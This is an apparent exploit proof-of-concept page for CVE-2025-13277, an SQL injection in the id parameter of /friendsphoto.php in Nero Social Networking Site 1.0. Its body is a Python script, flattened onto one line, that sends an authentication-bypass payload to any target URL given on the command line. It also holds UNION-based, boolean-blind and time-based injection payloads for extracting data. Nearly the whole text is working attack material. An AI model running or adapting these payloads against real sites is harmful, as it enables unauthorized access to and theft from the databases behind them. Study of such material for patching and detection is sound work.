CVE-2025-13277: Nero Social Networking Site 1.0 /friendsphoto.php SQL注入漏洞

import requests import sys # CVE-2025-13277 PoC - Nero Social Networking Site 1.0 SQL Injection # Target: /friendsphoto.php?id=[SQL Injection Payload] def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2025-13277 Target: Nero Social Networking Site 1.0 Vulnerable Parameter: id in /friendsphoto.php """ # Basic authentication bypass payload payload = "1' OR '1'='1" # Test endpoint test_url = f"{target_url}/friendsphoto.php?id={payload}" print(f"[*] Testing target: {test_url}") try: response = requests.get(test_url, timeout=10) if response.status_code == 200: print(f"[+] Target is potentially vulnerable") print(f"[+] Response length: {len(response.text)} bytes") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # UNION-based data extraction payload union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10---" # Blind boolean-based extraction blind_payload = "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1" # Time-based blind injection time_payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)---" if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit_sqli(target) else: print("Usage: python cve-2025-13277.py http://target.com")